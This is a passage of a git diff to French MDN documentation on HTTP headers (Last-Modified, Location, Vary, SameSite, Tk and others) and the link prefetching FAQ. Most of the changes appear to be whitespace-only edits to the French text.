propositions de nouveaux entêtes HTTP](https://www.iana.org/assignments/message-headers/message-headers.xhtml). +Des en-têtes propriétaires personnalisés peuvent être ajoutés en utilisant le préfixe `X-`, mais cette convention a été abandonnée en juin 2012, en raison des inconvénients qu'elle a présenté lorsque des champs non standard sont devenus standard dans [RFC 6648](https://tools.ietf.org/html/rfc6648); les autres en-têtes possibles sont listés dans une [liste IANA](https://www.iana.org/assignments/message-headers/message-headers.xhtml) et ont été définis dans la [RFC 4229](https://tools.ietf.org/html/rfc4229). IANA maintient également une [liste des propositions de nouveaux entêtes HTTP](https://www.iana.org/assignments/message-headers/message-headers.xhtml). Les en-têtes peuvent être groupés selon leur contexte : @@ -375,13 +375,13 @@ HTTP Public Key Pinning a été déprécié et supprimé au profit de Certificat - : contrôle le préchargement DNS, fonctionnalité par laquelle les navigateurs effectuent de manière proactive la résolution du nom de domaine sur les deux liens que l'utilisateur peut choisir de suivre ainsi que les URL des éléments référencés par le document, y compris les images, CSS, JavaScript, etc. - {{HTTPHeader("X-Firefox-Spdy")}} {{deprecated_inline}} {{non-standard_inline}} - : ... -- {{HTTPHeader("X-Pingback")}} {{non-standard_inline}} +- {{HTTPHeader("X-Pingback")}} {{non-standard_inline}} - : ... - {{HTTPHeader("X-Requested-With")}} - : ... -- {{HTTPHeader("X-Robots-Tag")}} {{non-standard_inline}} +- {{HTTPHeader("X-Robots-Tag")}} {{non-standard_inline}} - : indique comment une page doit être indexée dans les résultats publics des moteurs de recherche ; cet en-tête est équivalent à `<meta name="robots" content="...">` -- {{HTTPHeader("X-UA-Compatible")}} {{non-standard_inline}} +- {{HTTPHeader("X-UA-Compatible")}} {{non-standard_inline}} - : Utilisé par Internet Explorer pour signaler quel mode de document utiliser. ## Contribuer diff --git a/files/fr/web/http/headers/last-modified/index.md b/files/fr/web/http/headers/last-modified/index.md index b0f4163570..9ccefde35a 100644 --- a/files/fr/web/http/headers/last-modified/index.md +++ b/files/fr/web/http/headers/last-modified/index.md @@ -10,7 +10,7 @@ translation_of: Web/HTTP/Headers/Last-Modified --- {{HTTPSidebar}} -L'entête HTTP de réponse **`Last-Modified`** contient la date et l'heure à laquelle le serveur d'origine pense que la ressource a été modifiée pour la dernière fois. Il est utilisé comme un validateur pour déterminer si une ressource reçue et une stockée sont les mêmes. Moins précis qu'un entête {{HTTPHeader("ETag")}}, c'est un mécanisme de rechange. Les requêtes conditionnelles contenant des entêtes {{HTTPHeader("If-Modified-Since")}} ou {{HTTPHeader("If-Unmodified-Since")}} font usage de ce champ. +L'entête HTTP de réponse **`Last-Modified`** contient la date et l'heure à laquelle le serveur d'origine pense que la ressource a été modifiée pour la dernière fois. Il est utilisé comme un validateur pour déterminer si une ressource reçue et une stockée sont les mêmes. Moins précis qu'un entête {{HTTPHeader("ETag")}}, c'est un mécanisme de rechange. Les requêtes conditionnelles contenant des entêtes {{HTTPHeader("If-Modified-Since")}} ou {{HTTPHeader("If-Unmodified-Since")}} font usage de ce champ. <table class="properties"> <tbody> @@ -38,21 +38,21 @@ L'entête HTTP de réponse **`Last-Modified`** contient la date et l'heure à l ## Directives - \<nom-jour> - - : Un nom parmi "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", ou "Sun" (sensible à la casse). + - : Un nom parmi "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", ou "Sun" (sensible à la casse). - \<jour> - - : Jour sur 2 chiffres, par ex. "04" ou "23". + - : Jour sur 2 chiffres, par ex. "04" ou "23". - \<mois> - - : Un mois parmi "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (sensible à la casse). + - : Un mois parmi "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (sensible à la casse). - \<année> - - : Millésime sur 4 chiffres, par ex. "1990" ou "2016". + - : Millésime sur 4 chiffres, par ex. "1990" ou "2016". - \<heure> - - : Heure sur 2 chiffres, par ex. "09" ou "23". + - : Heure sur 2 chiffres, par ex. "09" ou "23". - \<minute> - - : Minute sur 2 chiffres, par ex. "04" ou "59". + - : Minute sur 2 chiffres, par ex. "04" ou "59". - \<seconde> - - : Seconde sur 2 chiffres, par ex. "04" ou "59". + - : Seconde sur 2 chiffres, par ex. "04" ou "59". - `GMT` - - : Greenwich Mean Time. Les dates HTTP sont toujours exprimées en GMT, jamais en heure locale. + - : Greenwich Mean Time. Les dates HTTP sont toujours exprimées en GMT, jamais en heure locale. ## Exemples diff --git a/files/fr/web/http/headers/location/index.md b/files/fr/web/http/headers/location/index.md index 5dc0666208..f446bf6f7e 100644 --- a/files/fr/web/http/headers/location/index.md +++ b/files/fr/web/http/headers/location/index.md @@ -5,18 +5,18 @@ translation_of: Web/HTTP/Headers/Location --- {{HTTPSidebar}} -L'en-tête de réponse `Location` indique l'URL vers laquelle rediriger une page. Il a un sens seulement lorsqu'il est servi avec une réponse d'état `3xx` (redirection) ou `201` (créé). +L'en-tête de réponse `Location` indique l'URL vers laquelle rediriger une page. Il a un sens seulement lorsqu'il est servi avec une réponse d'état `3xx` (redirection) ou `201` (créé). -En cas de redirection, la méthode HTTP utilisée pour la nouvelle requête de récupération de la page pointée par `Location` dépend la méthode d'origine et du type de redirection : +En cas de redirection, la méthode HTTP utilisée pour la nouvelle requête de récupération de la page pointée par `Location` dépend la méthode d'origine et du type de redirection : -- Si les réponses {{HTTPStatus("303")}} (Voir Aussi) conduisent toujours à l'utilisation d'une méthode {{HTTPMethod("GET")}}, {{HTTPStatus("307")}} (Redirection Temporaire) et {{HTTPStatus("308")}} (Redirection Permanente) ne modifient pas la méthode utilisée dans la demande d'origine; -- {{HTTPStatus("301")}} (Redirection permanente) et {{HTTPStatus("302")}} (Trouvé) ne change pas la méthode la plupart du temps, bien que les user-agents plus anciens puissent. +- Si les réponses {{HTTPStatus("303")}} (Voir Aussi) conduisent toujours à l'utilisation d'une méthode {{HTTPMethod("GET")}}, {{HTTPStatus("307")}} (Redirection Temporaire) et {{HTTPStatus("308")}} (Redirection Permanente) ne modifient pas la méthode utilisée dans la demande d'origine; +- {{HTTPStatus("301")}} (Redirection permanente) et {{HTTPStatus("302")}} (Trouvé) ne change pas la méthode la plupart du temps, bien que les user-agents plus anciens puissent. Toutes les réponses avec l'un de ces codes d'état envoient un en-tête `Location`. En cas de création de ressource, il indique l'URL de la ressource nouvellement créée. -`Location` et {{HTTPHeader("Content-Location")}} sont différents : `Location` indique la cible d'une redirection (ou l'URL d'une ressource nouvellement créée), tandis que {{HTTPHeader("Content-Location")}} indique l'URL directe à utiliser pour accéder à la ressource lorsque la négociation de contenu a eu lieu, sans qu'il soit nécessaire de poursuivre la négociation de contenu. L'emplacement est un en-tête associé à la réponse, tandis que {{HTTPHeader("Content-Location")}} est associé à l'entité renvoyée. +`Location` et {{HTTPHeader("Content-Location")}} sont différents : `Location` indique la cible d'une redirection (ou l'URL d'une ressource nouvellement créée), tandis que {{HTTPHeader("Content-Location")}} indique l'URL directe à utiliser pour accéder à la ressource lorsque la négociation de contenu a eu lieu, sans qu'il soit nécessaire de poursuivre la négociation de contenu. L'emplacement est un en-tête associé à la réponse, tandis que {{HTTPHeader("Content-Location")}} est associé à l'entité renvoyée. <table class="properties"> <tbody> diff --git a/files/fr/web/http/headers/origin/index.md b/files/fr/web/http/headers/origin/index.md index fecb90e2e2..379f350f65 100644 --- a/files/fr/web/http/headers/origin/index.md +++ b/files/fr/web/http/headers/origin/index.md @@ -27,7 +27,7 @@ L’en-tête de requête **`Origin`** indique la provenance de la requête. Il n Origin: "" Origin: <scheme> "://" <hostname> [ ":" <port> ] -`Origin` peut être une chaîne vide : c’est utile, par exemple, si la source est une `data` URL. +`Origin` peut être une chaîne vide : c’est utile, par exemple, si la source est une `data` URL. ## Directives diff --git a/files/fr/web/http/headers/referrer-policy/index.md b/files/fr/web/http/headers/referrer-policy/index.md index 3f58c26997..bbee0e2b13 100644 --- a/files/fr/web/http/headers/referrer-policy/index.md +++ b/files/fr/web/http/headers/referrer-policy/index.md @@ -16,7 +16,7 @@ translation_of: Web/HTTP/Headers/Referrer-Policy --- {{HTTPSidebar}} -L'en-tête {{glossary("HTTP header")}} **`Referrer-Policy`** contrôle la quantité d'[informations sur le référent (referrer)](/en-US/docs/Web/Security/Referer_header:_privacy_and_security_concerns) (envoyées par l'en-tête {{HTTPHeader("Referer")}}) incluses dans la requête. +L'en-tête {{glossary("HTTP header")}} **`Referrer-Policy`** contrôle la quantité d'[informations sur le référent (referrer)](/en-US/docs/Web/Security/Referer_header:_privacy_and_security_concerns) (envoyées par l'en-tête {{HTTPHeader("Referer")}}) incluses dans la requête. <table class="properties"> <tbody> @@ -97,7 +97,7 @@ Autrement, une [relation de lien](/en-US/docs/Web/HTML/Link_types) définie à ` CSS peut demander des ressources référencées dans des feuilles de styles. Ces ressources suivent une règle de référent aussi : -- Les feuilles de styles CSS externes utilisant la règle par défaut (`no-referrer-when-downgrade`), moins qu'elle soit remplacée un l'en-tête HTTP `Referrer-Policy` dans la réponse de la feuille de styles CSS. +- Les feuilles de styles CSS externes utilisant la règle par défaut (`no-referrer-when-downgrade`), moins qu'elle soit remplacée un l'en-tête HTTP `Referrer-Policy` dans la réponse de la feuille de styles CSS. - Pour les éléments {{HTMLElement("style")}} ou [attributs `style`](/en-US/docs/Web/API/HTMLElement/style), la règle de référent du propriétaire du document est utilisée. ## Exemples diff --git a/files/fr/web/http/headers/set-cookie/samesite/index.md b/files/fr/web/http/headers/set-cookie/samesite/index.md index bc08705b7c..df33d041c2 100644 --- a/files/fr/web/http/headers/set-cookie/samesite/index.md +++ b/files/fr/web/http/headers/set-cookie/samesite/index.md @@ -68,7 +68,7 @@ Cette alerte apparait car la stratégie de `SameSite` pour le cookie n'a pas ét Set-Cookie: flavor=choco ``` -Même si vous pouvez compter sur la valeur par défaut `SameSite=Lax` des navigateurs récents, vous devriez tout de même spécifier la stratégie à appliquer pour ce cookie afin de communiquer clairement votre intention. Cela améliorera également l'expérience sur les autres navigateurs si ceux-ci n'utilisent pas encore la valeur par défaut `Lax`. +Même si vous pouvez compter sur la valeur par défaut `SameSite=Lax` des navigateurs récents, vous devriez tout de même spécifier la stratégie à appliquer pour ce cookie afin de communiquer clairement votre intention. Cela améliorera également l'expérience sur les autres navigateurs si ceux-ci n'utilisent pas encore la valeur par défaut `Lax`. ```plain example-good Set-Cookie: flavor=choco; SameSite=Lax @@ -78,8 +78,8 @@ Set-Cookie: flavor=choco; SameSite=Lax RewriteEngine on RewriteBase "/" - RewriteCond "%{HTTP_HOST}" "^example\.org$" [NC] - RewriteRule "^(.*)" "https://www.example.org/index.html" [R=301,L,QSA] + RewriteCond "%{HTTP_HOST}" "^example\.org$" [NC] + RewriteRule "^(.*)" "https://www.example.org/index.html" [R=301,L,QSA] RewriteRule "^(.*)\.ht$" "index.php?nav=$1 [NC,L,QSA,CO=RewriteRule:01:https://www.example.org:30/:SameSite=None:Secure] RewriteRule "^(.*)\.htm$" "index.php?nav=$1 [NC,L,QSA,CO=RewriteRule:02:https://www.example.org:30/:SameSite=None:Secure] RewriteRule "^(.*)\.html$" "index.php?nav=$1 [NC,L,QSA,CO=RewriteRule:03:https://www.example.org:30/:SameSite=None:Secure] diff --git a/files/fr/web/http/headers/tk/index.md b/files/fr/web/http/headers/tk/index.md index 6d84fd981b..359f460961 100644 --- a/files/fr/web/http/headers/tk/index.md +++ b/files/fr/web/http/headers/tk/index.md @@ -5,7 +5,7 @@ translation_of: Web/HTTP/Headers/Tk --- {{HTTPSidebar}} -L'entête de réponse `Tk` indique le statut de suivi (tracking) qui s'applique à la demande correspondante. +L'entête de réponse `Tk` indique le statut de suivi (tracking) qui s'applique à la demande correspondante. <table class="properties"> <tbody> @@ -35,7 +35,7 @@ L'entête de réponse `Tk` indique le statut de suivi (tracking) qui s'applique ### Directives - ! - - : En construction. Le serveur d'origine teste actuellement sa communication de l'état du suivi. + - : En construction. Le serveur d'origine teste actuellement sa communication de l'état du suivi. - ? - : Dynamique. Le serveur d'origine a besoin de plus d'informations pour déterminer l'état du suivi. - G @@ -47,7 +47,7 @@ L'entête de réponse `Tk` indique le statut de suivi (tracking) qui s'applique - C - : Suivi avec consentement. Le serveur d'origine pense avoir reçu un consentement préalable pour le suivi de cet utilisateur, user-agent ou appareil. - P - - : Consentement potentiel. Le serveur d'origine ne sait pas, en temps réel, s'il a reçu un consentement préalable pour le suivi de cet utilisateur, user-agent ou appareil, mais promet de ne pas utiliser ou partager de données DNT:1 jusqu'à ce que ce consentement ait été déterminé. Il promet en outre de supprimer ou d'anonymiser de manière permanente dans les 48 heures toute donnée DNT:1 reçue pour laquelle ce consentement n'a pas été reçu. + - : Consentement potentiel. Le serveur d'origine ne sait pas, en temps réel, s'il a reçu un consentement préalable pour le suivi de cet utilisateur, user-agent ou appareil, mais promet de ne pas utiliser ou partager de données DNT:1 jusqu'à ce que ce consentement ait été déterminé. Il promet en outre de supprimer ou d'anonymiser de manière permanente dans les 48 heures toute donnée DNT:1 reçue pour laquelle ce consentement n'a pas été reçu. - D - : Ne tient pas compte de DNT. Le serveur d'origine ne peut ou ne veut pas respecter une préférence de suivi reçue de l'user-agent demandeur. - U @@ -55,7 +55,7 @@ L'entête de réponse `Tk` indique le statut de suivi (tracking) qui s'applique ## Exemple -Un entête `Tk` pour une ressource qui prétend ne pas être suivie : +Un entête `Tk` pour une ressource qui prétend ne pas être suivie : Tk: N diff --git a/files/fr/web/http/headers/trailer/index.md b/files/fr/web/http/headers/trailer/index.md index 486e2e2311..bc7581d367 100644 --- a/files/fr/web/http/headers/trailer/index.md +++ b/files/fr/web/http/headers/trailer/index.md @@ -7,7 +7,7 @@ translation_of: Web/HTTP/Headers/Trailer L'en-tête **Trailer** permet à l'expéditeur d'inclure des champs supplémentaires à la fin des blocs de messages pour fournir des métadonnées supplémentaires qui peuvent être générées de manière dynamique pendant que le corps du message sera envoyé, il peut s'agir de la vérification de l'intégrité du message, une signature numérique, ou encore un statut après le traitement. -> **Note :** L'en-tête {{HTTPHeader("TE")}} de la requête devra être définie en tant que "trailers" pour autoriser les champs de type "trailer". +> **Note :** L'en-tête {{HTTPHeader("TE")}} de la requête devra être définie en tant que "trailers" pour autoriser les champs de type "trailer". <table class="properties"> <tbody> diff --git a/files/fr/web/http/headers/vary/index.md b/files/fr/web/http/headers/vary/index.md index 1d478a7cec..e5eaf89d4f 100644 --- a/files/fr/web/http/headers/vary/index.md +++ b/files/fr/web/http/headers/vary/index.md @@ -11,9 +11,9 @@ translation_of: Web/HTTP/Headers/Vary --- {{HTTPSidebar}} -L'en-tête HTTP **`Vary`** détermine comment les en-têtes de requêtes futures sont associés pour décider si une réponse en cache peut être réutilisée plutôt que de solliciter à nouveau le serveur d'origine. Il est utilisé par le serveur pour indiquer quels en-têtes sont utilisés pour représenter une resource dans un algorithme de [négociation de contenu](/en-US/docs/Web/HTTP/Content_negotiation). +L'en-tête HTTP **`Vary`** détermine comment les en-têtes de requêtes futures sont associés pour décider si une réponse en cache peut être réutilisée plutôt que de solliciter à nouveau le serveur d'origine. Il est utilisé par le serveur pour indiquer quels en-têtes sont utilisés pour représenter une resource dans un algorithme de [négociation de contenu](/en-US/docs/Web/HTTP/Content_negotiation). -L'en-tête `Vary` doit être renseigné de manière identique sur une réponse {{HTTPStatus("304")}} `Not Modified` à ce qu'elle aurait été sur la réponse {{HTTPStatus("200")}} `OK` correspondante. +L'en-tête `Vary` doit être renseigné de manière identique sur une réponse {{HTTPStatus("304")}} `Not Modified` à ce qu'elle aurait été sur la réponse {{HTTPStatus("200")}} `OK` correspondante. <table class="properties"> <tbody> @@ -36,15 +36,15 @@ L'en-tête `Vary` doit être renseigné de manière identique sur une réponse ## Directives - \* - - : Chaque requête pour une URL doit être traitée comme une requête unique à ne pas mettre en cache. Une meilleure manière de l'indiquer est d'utiliser {{HTTPHeader("Cache-Control")}}`: private`, qui est plus clair à lire et signale aussi que l'objet ne doit jamais être mis en cache. + - : Chaque requête pour une URL doit être traitée comme une requête unique à ne pas mettre en cache. Une meilleure manière de l'indiquer est d'utiliser {{HTTPHeader("Cache-Control")}}`: private`, qui est plus clair à lire et signale aussi que l'objet ne doit jamais être mis en cache. - \<header-name> - : Une liste séparé par des virgules de noms d'en-tête à prendre en compte lorsqu'il est décidé si une réponse en cache peut être utilisée ou non. ## Examples -### Service dynamique +### Service dynamique -Lorsque l'en-tête `Vary: User-Agent` est utilisée, les serveurs de cache doivent prendre en compte l'agent de l'utilisateur pour décider de servir la page depuis le cache ou non. Par exemple, si vous servez du contenu différent pour les utilisateurs sur mobile, il aide à éviter qu'une version ordinateur de votre site ne soit distribuée à un utilisateur sur mobile. Il peut aider google et d'autres moteurs de recherche à prendre en compte la version pour mobile d'un site, ainsi que de signaler que le [Cloaking](https://en.wikipedia.org/wiki/Cloaking) n'est pas intentionel. +Lorsque l'en-tête `Vary: User-Agent` est utilisée, les serveurs de cache doivent prendre en compte l'agent de l'utilisateur pour décider de servir la page depuis le cache ou non. Par exemple, si vous servez du contenu différent pour les utilisateurs sur mobile, il aide à éviter qu'une version ordinateur de votre site ne soit distribuée à un utilisateur sur mobile. Il peut aider google et d'autres moteurs de recherche à prendre en compte la version pour mobile d'un site, ainsi que de signaler que le [Cloaking](https://en.wikipedia.org/wiki/Cloaking) n'est pas intentionel. Vary: User-Agent diff --git a/files/fr/web/http/headers/x-content-type-options/index.md b/files/fr/web/http/headers/x-content-type-options/index.md index a40640e8f4..78f14cc2ed 100644 --- a/files/fr/web/http/headers/x-content-type-options/index.md +++ b/files/fr/web/http/headers/x-content-type-options/index.md @@ -16,7 +16,7 @@ Cet en-tête a été introduit par Microsoft dans IE 8 comme un moyen pour les w Les testeurs de sécurité du site s'attendent généralement à ce que cet en-tête soit défini. -> **Note :** `X-Content-Type-Options` ne s'appliquent qu'au [blocage des demandes par `nosniff`](https://fetch.spec.whatwg.org/#should-response-to-request-be-blocked-due-to-nosniff?) pour les [destinations de demandes](https://fetch.spec.whatwg.org/#concept-request-destination) de "`script`" et "`style`". Il permet également le [blocage en lecture croisé (CORB)](https://chromium.googlesource.com/chromium/src/+/master/services/network/cross_origin_read_blocking_explainer.md#what-types-of-content-are-protected-by-corb) pour les fichiers HTML, TXT, JSON, et XML (à l'exception des images SVG `image/svg+xml`). +> **Note :** `X-Content-Type-Options` ne s'appliquent qu'au [blocage des demandes par `nosniff`](https://fetch.spec.whatwg.org/#should-response-to-request-be-blocked-due-to-nosniff?) pour les [destinations de demandes](https://fetch.spec.whatwg.org/#concept-request-destination) de "`script`" et "`style`". Il permet également le [blocage en lecture croisé (CORB)](https://chromium.googlesource.com/chromium/src/+/master/services/network/cross_origin_read_blocking_explainer.md#what-types-of-content-are-protected-by-corb) pour les fichiers HTML, TXT, JSON, et XML (à l'exception des images SVG `image/svg+xml`). <table class="properties"> <tbody> @@ -49,7 +49,7 @@ Les testeurs de sécurité du site s'attendent généralement à ce que cet en-t - `text/html` - `text/plain` - `text/json`, `application/json` ou tout autre type avec une extension JSON: `*/*+json` - - `text/xml`, `application/xml` ou tout autre type avec une extension XML: `*/*+xml` (hors `image/svg+xml`) + - `text/xml`, `application/xml` ou tout autre type avec une extension XML: `*/*+xml` (hors `image/svg+xml`) ## Caractéristiques diff --git a/files/fr/web/http/index.md b/files/fr/web/http/index.md index 4ab12e0805..f26dc5e98a 100644 --- a/files/fr/web/http/index.md +++ b/files/fr/web/http/index.md @@ -5,7 +5,7 @@ translation_of: Web/HTTP --- {{HTTPSidebar}} -**_<i lang="en">Hypertext Transfer Protocol</i> (HTTP) (ou protocole de transfert hypertexte en français)_** est un protocole de [la couche application](https://fr.wikipedia.org/wiki/Couche_application) servant à transmettre des documents hypermédias, comme HTML. Il a été conçu la communication entre les navigateurs web et les serveurs web mais peut également être utilisé à d'autres fins. Il suit le modèle classique [client-serveur](https://fr.wikipedia.org/wiki/Client-serveur) : un client ouvre une connexion, effectue une requête et attend jusqu'à recevoir une réponse. Il s'agit aussi d'un [protocole sans état](https://fr.wikipedia.org/wiki/Protocole_sans_%C3%A9tat), ce qui signifie que le serveur ne conserve aucune donnée (on parle d'état) entre deux requêtes. +**_<i lang="en">Hypertext Transfer Protocol</i> (HTTP) (ou protocole de transfert hypertexte en français)_** est un protocole de [la couche application](https://fr.wikipedia.org/wiki/Couche_application) servant à transmettre des documents hypermédias, comme HTML. Il a été conçu la communication entre les navigateurs web et les serveurs web mais peut également être utilisé à d'autres fins. Il suit le modèle classique [client-serveur](https://fr.wikipedia.org/wiki/Client-serveur) : un client ouvre une connexion, effectue une requête et attend jusqu'à recevoir une réponse. Il s'agit aussi d'un [protocole sans état](https://fr.wikipedia.org/wiki/Protocole_sans_%C3%A9tat), ce qui signifie que le serveur ne conserve aucune donnée (on parle d'état) entre deux requêtes. ## Tutoriels diff --git a/files/fr/web/http/link_prefetching_faq/index.md b/files/fr/web/http/link_prefetching_faq/index.md index c640d373d2..8b78474e72 100644 --- a/files/fr/web/http/link_prefetching_faq/index.md +++ b/files/fr/web/http/link_prefetching_faq/index.md @@ -9,7 +9,7 @@ tags: translation_of: Web/HTTP/Link_prefetching_FAQ original_slug: Web/HTTP/FAQ_sur_le_préchargement_des_liens --- -### Qu’est ce que le préchargement de liens ? +### Qu’est ce que le préchargement de liens ? Le préchargement de liens est un mécanisme du navigateur qui utilise le temps disponible du navigateur pour télécharger ou _précharger_ les documents que les utilisateurs pourraient visiter juste après. Une page web fournit un ensemble de cibles à précharger au navigateur. Une fois que le navigateur a fini de charger la page, il commence, de façon transparente, à précharger les documents spécifiés et les emmagasine dans son cache. Quand l’utilisateur visite un de ces documents préchargés, il peut être ressorti rapidement du cache du navigateur. @@ -17,17 +17,17 @@ Le préchargement de liens est un mécanisme du navigateur qui utilise le temps À partir de Gecko 1.9.1 (Firefox 3.5), le contenu HTTPS peut être préchargé. -### Quelles sont les cibles à précharger ? +### Quelles sont les cibles à précharger ? -Le navigateur cherche soit une balise HTML `link`, soit un en-tête HTTP `Link:` avec un type de relation `next` ou `prefetch`. Ci-dessous, un exemple d’utilisation de la balise `link` : +Le navigateur cherche soit une balise HTML `link`, soit un en-tête HTTP `Link:` avec un type de relation `next` ou `prefetch`. Ci-dessous, un exemple d’utilisation de la balise `link` : <link rel="prefetch" href="/images/big.jpeg"> -La même cible à précharger, cette fois avec un en-tête HTTP `Link:` : +La même cible à précharger, cette fois avec un en-tête HTTP `Link:` : Link: </images/big.jpeg>; rel=prefetch -L’en-tête `Link:` peut également être spécifiée à l’intérieur d’un document HTML en utilisant une balise HTML `meta` : +L’en-tête `Link:` peut également être spécifiée à l’intérieur d’un document HTML en utilisant une balise HTML `meta` : <meta http-equiv="Link" content="</images/big.jpeg>; rel=prefetch"> @@ -37,77 +37,77 @@ Le format pour l’en-tête `Link:`est décrit dans le [RFC 2068](http://tools.i Le navigateur surveille toutes ces cibles et met en attente chaque requête unique qui doit ensuite être préchargée quand le navigateur est disponible. Il peut y avoir de multiples cibles par page, ainsi on peut comprendre l'utilité de précharger de multiples documents. Par exemple, le document suivant peut contenir plusieurs images lourdes. -Quelques exemples en plus, ci-dessous : +Quelques exemples en plus, ci-dessous : <link rel="prefetch alternate stylesheet" title="Designed for Mozilla" href="mozspecific.css"> <link rel="next" href="2.html"> -### Les balises ancres (\<a>) sont-elles préchargées ? +### Les balises ancres (\<a>) sont-elles préchargées ? Non, seulement les balises `<link>` avec une relation de type `next` ou `prefetch` sont préchargées. Toutefois, si l'intérêt en est suffisant, on peut étendre le support du préchargement de liens pour inclure le préchargement des balises \<a>, lesquelles devront inclure un type de relation `next` ou `prefetch`. Cela aiderait probablement les fournisseurs de contenus à éviter le problème du préchargement de liens morts. -### Le préchargement de liens est-il respectueux des standards ? +### Le préchargement de liens est-il respectueux des standards ? Oui, le préchargement de liens, comme exposé dans ce document, ne viole aucun standard Web existant. En fait, la spécification HTML 4.01 prend explicitement en compte la définition de nouveaux types de relation pour les liens ([Section 6.12: types de liens (fr)](http://www.la-grange.net/w3c/html4.01/types.html#h-6.12)). Toutefois, le mécanisme exact employé par Mozilla n’est pas encore standardisé. Une ébauche de spécification est en cours. -### Comment le temps disponible du navigateur est-il déterminé ? +### Comment le temps disponible du navigateur est-il déterminé ? Dans l’implémentation actuelle (Mozilla 1.2), le temps disponible est déterminé par l’utilisation de l’API `nsIWebProgressListener`. On attache un écouteur à l’objet de haut-niveau `nsIWebProgress` ("@mozilla.org/docloaderservice;1"). De celui-ci, on reçoit les notifications de lancement et d’arrêt du document et nous estimons le temps disponible comme étant la période entre l’arrêt du dernier document et le lancement du document suivant. La dernière notification d’arrêt apparaît à peu près lorsque le gestionnaire `onLoad` se lance pour le document parent. C’est à ce moment que démarrent les requêtes de préchargement. Si une sous-frame contient des cibles à précharger, le préchargement ne commencera que lorsque la frame la plus haute et toutes ses frames filles auront fini de charger. -### Que se passe-t-il si je clique sur un lien pendant un préchargement ? +### Que se passe-t-il si je clique sur un lien pendant un préchargement ? Quand un utilisateur clique sur un lien ou initie toutes sortes de chargements de page, le préchargement des liens s’arrête et les préchargements de cibles sont abandonnés. Si un document préchargé est partiellement stocké, alors il est emmagasiné dans le cache à condition que le serveur envoie un en-tête de réponse de type `Accept-Ranges: bytes`. Cet en-tête est typiquement généré par les serveurs web quand ils gèrent du contenu statique. Quand l’utilisateur visite réellement un document préchargé, la portion restante est chargée en utilisant une requête HTTP byte-range. -### Et si je télécharge quelque chose en tâche de fond ? Le préchargement de liens viendra-t-il en concurrence pour la bande passante ? +### Et si je télécharge quelque chose en tâche de fond ? Le préchargement de liens viendra-t-il en concurrence pour la bande passante ? Oui et non. Si vous téléchargez quelque chose en utilisant Mozilla, le préchargement de liens sera retardé jusqu'à ce que les téléchargements en arrière-plan soit complets. Par exemple, si vous chargez un groupe de marque-pages (qui ouvre plusieurs onglets), toutes les requêtes de préchargement initiées par une de ces marque-pages ne se lanceront que lorsque tous les onglets auront fini de se charger. Si vous avez lancé une autre application qui utilise le réseau, le préchargement de liens dans Mozilla sera en compétition pour la bande passante, avec l’autre application. C’est un problème que nous espérons régler dans le futur en s’appuyant sur les services du système d’exploitation pour contrôler le temps disponible sur le réseau. -### Existe-t-il des restrictions sur ce qui peut être préchargé ? +### Existe-t-il des restrictions sur ce qui peut être préchargé ? -Oui, uniquement les URL http\:// (et, à partir de {{ Gecko("1.9.1") }}, https\://) peuvent être préchargées. Les autres protocoles (comme FTP) ne fournissent pas de support suffisamment riche pour la gestion du cache côté client. En plus de cette restriction, les URL ayant une chaîne de paramètres ne sont pas préchargées. Ceci parce que de telles URL sont souvent dans des documents qui ne peuvent pas être réutilisés en dehors du cache du navigateur. Donc précharger de telles URL n’apporterait pas grand chose. Nous avons constaté que des sites existants utilisent la balise \<link rel="next"> avec des URL contenant des chaînes de paramètres pour référencer le document suivant dans une série de documents. Bugzilla est un de ces sites et il s'avère que les rapports de bug dans Bugzilla ne peuvent être mis en cache, aussi précharger ces URL reviendrait à peu près à doubler la charge de ce pauvre Bugzilla ! On peut se douter que d’autres sites ont été conçus comme Bugzilla donc on ne fait explicitement pas de préchargement d’URL contenant des chaînes de paramètres. (Il pourrait être sensé d’autoriser le préchargement de ces documents avec une relation de type `rel=prefetch`, puisque cela n'apparait pas dans aucun contenu existant). Il n’y a pas d’autres restrictions en ce qui concerne les URL préchargées. +Oui, uniquement les URL http\:// (et, à partir de {{ Gecko("1.9.1") }}, https\://) peuvent être préchargées. Les autres protocoles (comme FTP) ne fournissent pas de support suffisamment riche pour la gestion du cache côté client. En plus de cette restriction, les URL ayant une chaîne de paramètres ne sont pas préchargées. Ceci parce que de telles URL sont souvent dans des documents qui ne peuvent pas être réutilisés en dehors du cache du navigateur. Donc précharger de telles URL n’apporterait pas grand chose. Nous avons constaté que des sites existants utilisent la balise \<link rel="next"> avec des URL contenant des chaînes de paramètres pour référencer le document suivant dans une série de documents. Bugzilla est un de ces sites et il s'avère que les rapports de bug dans Bugzilla ne peuvent être mis en cache, aussi précharger ces URL reviendrait à peu près à doubler la charge de ce pauvre Bugzilla ! On peut se douter que d’autres sites ont été conçus comme Bugzilla donc on ne fait explicitement pas de préchargement d’URL contenant des chaînes de paramètres. (Il pourrait être sensé d’autoriser le préchargement de ces documents avec une relation de type `rel=prefetch`, puisque cela n'apparait pas dans aucun contenu existant). Il n’y a pas d’autres restrictions en ce qui concerne les URL préchargées. -### Mozilla peut-il précharger un document d’un hôte différent ? +### Mozilla peut-il précharger un document d’un hôte différent ? Oui. Il n’est pas nécessaire que les documents aient la même origine pour le préchargement de liens. Limiter le préchargement uniquement à des URL du même serveur n’augmenterait pas la sécurité du navigateur. -### Les requêtes préchargées contiennent-elles un en-tête `Referer:` ? +### Les requêtes préchargées contiennent-elles un en-tête `Referer:` ? Oui, les requêtes préchargées incluent une entête HTTP `Referer:` qui indique le document duquel la cible de préchargement a été extraite. Cela peut impacter l'analyse de l'affluence qui est communément utilisée sur de nombreux sites. Pour cette raison, le préchargement de liens peut ne pas être approprié pour toutes sortes de contenus. Toutefois, il est possible de contraindre Mozilla à valider un document préchargé quand l'utilisateur suit un `href` vers le document préchargé en spécifiant un en-tête de réponse HTTP `Cache-control: must-revalidate`. Cet en-tête permet la mise en cache mais requiert une requête de validation `If-Modified-Since` ou `If-None-Match` pour que le document soit servi à partir du cache du navigateur. -### En tant qu'administrateur serveur, puis-je distinguer les requêtes préchargées, des requêtes normales ? +### En tant qu'administrateur serveur, puis-je distinguer les requêtes préchargées, des requêtes normales ? -Oui, l'en-tête suivant est envoyé avec chaque requête préchargée : +Oui, l'en-tête suivant est envoyé avec chaque requête préchargée : X-moz: prefetch Bien sûr, cet en-tête de requête n'est 